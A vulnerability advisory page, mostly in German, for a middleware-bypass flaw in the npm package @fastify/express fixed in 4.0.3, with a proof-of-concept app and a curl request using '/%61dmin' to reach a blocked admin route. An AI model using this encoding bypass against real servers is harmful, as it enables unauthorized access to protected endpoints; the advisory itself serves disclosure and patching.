@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)
Summary
A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register fastify-express for Express-style middleware support
await fastify.register(require('@fastify/express'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
fastify.get('/admin/dashboard', async (request, reply) => {
return { message: 'Admin dashboard' };
});
// Start server
try {
await fastify.listen({ port: 3000 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
➜ ~ curl http://206.189.140.29:3000/%61dmin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /%61dmin</pre>
</body>
</html>
(fastify express)
➜ ~ curl http://206.189.140.29:3000/%61dmin
{"message":"Admin panel"}
It differs from CVE-2026-22031 because this is a different npm module with its own code.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | @fastify/express | < 4.0.3 | 4.0.3 |
Verweise
- https://github.com/fastify/fastify-express/security/advisories/GHSA-g6q3-96cp-5r5m
- https://nvd.nist.gov/vuln/detail/CVE-2026-22037
- https://github.com/fastify/fastify-express/commit/dc02a3fe1387f945143f22597baa42557d549a40
- https://github.com/fastify/fastify-express
- https://github.com/fastify/fastify-express/releases/tag/v4.0.3
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L- Schwäche (CWE)
CWE-177, CWE-288- Plattform
- npm
- Paket
@fastify/express- Veröffentlicht
- 20.01.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-g6q3-96cp-5r5m - CC BY 4.0
Schwachstellenhistorie: @fastify/express
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 3
- Erste → letzte
- 01.2026 04.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 2
- Hoch 1
Veröffentlichungen pro Jahr
- 2026: 3
-
@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding) dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.